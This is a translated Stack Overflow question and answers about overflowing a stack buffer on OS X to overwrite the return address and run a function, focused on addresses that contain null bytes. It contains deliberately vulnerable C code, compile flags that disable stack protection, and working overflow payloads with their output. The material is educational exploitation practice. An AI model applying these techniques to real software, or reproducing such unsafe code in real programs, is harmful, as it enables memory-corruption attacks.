缓冲区溢出返回地址为00

5

我刚试图在OSX(10.6)上让缓冲区溢出,以下是需要操作的程序;我需要通过溢出缓冲区来执行foo。

#include <string.h>
#include <stdio.h>
void foo() {
    printf("hacked!");
}
int main(int argc, const char *argv[]) {
    char s[100];
    strcpy(s, argv[1]);
}

我以如下方式编译它:-
$ gcc -o test test.c -arch i386

我将 test 进行反汇编,得到了 foo 的地址是 0x00001eda。但是攻击代码没有按照预期的方式运行,可能是因为返回地址应该被溢出为包含 \x000x00001eda

当目标地址包含 \x00 时,如何执行缓冲区溢出攻击呢?


你应该使用 -fno-stack-protector 标志来禁用 GCC 堆栈溢出保护器 - jschmier
3个回答

2

strcpy()函数在遇到零字节(\x00)时停止。由于你想要写入栈的地址可能包含这样一个字节,因此做类似以下示例之一可能是可以接受的。

免责声明

由于我无法访问OS X 10.6环境,因此以下代码是在Windows 7 64位上使用GCC 4.5.2(MinGW 32位)开发和测试的。我依靠gdb来帮助确定foo()的地址和堆栈框架中返回地址的位置。有关如何使用gdb确定从缓冲区到返回地址的偏移量的进一步说明,请参见此处


示例1

代码

int main()
{
    char s[4];
    gets(s);
}

为了使用更短的输入文本来溢出缓冲区,缓冲区的大小被减小。

输出

gcc -g -fno-stack-protector -o test test.c
printf 1234567890abcdef\xc6\x13\x30 | ./test
被黑客攻击了!


示例2

代码

int main(int argc, const char *argv[])
{
    char s[100];
    sscanf(argv[2], "%x", &s[atoi(argv[1])]);
}

使用atoi()直接定位返回地址并不是一个很好的"缓冲区溢出"的例子。然而,它是定位和修改堆栈帧中的返回地址的良好练习。

输出

gcc -g -fno-stack-protector -o test test.c
./test 112 4013c6
被攻击了!


1
我不理解这个答案。为什么要扫描未初始化的字符串s?即使用户不是恶意黑客,这将导致崩溃的错误一直存在。而且我不明白它如何允许黑客插入代码。此外,在sscanf的最后一个参数中,“const char *”与“unsigned int *”不同,因此您的代码在使用GCC编译时会产生警告。要演示缓冲区溢出,您应该找到一些通常可以正确编译和运行的代码,但如果输入太大,则会执行恶意代码。 - David Grayson
@David Grayson - 您是正确的。我的原始代码不是一个好的例子,因为它实际上并没有起作用。我通过提供修改堆栈帧中的返回地址以导致执行foo()函数的示例来纠正和改进了原始答案。 - jschmier

1

由于某些原因,我无法使用strcpy覆盖堆栈和寄存器,即使应用程序崩溃了。

这个问题与你的问题相关,我成功地使用那段代码进行了一些技巧。


1

请记住,所有整数(我非常确定这包括返回地址)都以小端格式存储,这意味着最不重要的字节先出现。

因此,您所需的返回地址(0x00001eda)的字节为:

0xda, 0x1e, 0x00, 0x00

看看karlphillip给你链接的代码。他只在字符串末尾插入了两个地址字节。你也可以这样做。strcpy函数会愉快地将字符串末尾的两个字节复制到堆栈上,并愉快地添加空终止字符(\x00)。因此,strcpy可以设置虚拟返回地址的前三个字节。如果你幸运的话,也许第四个字节已经是\x00了,因为正确返回地址的第四个字节是\x00?
这不是我的专业领域,所以我可能错了。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接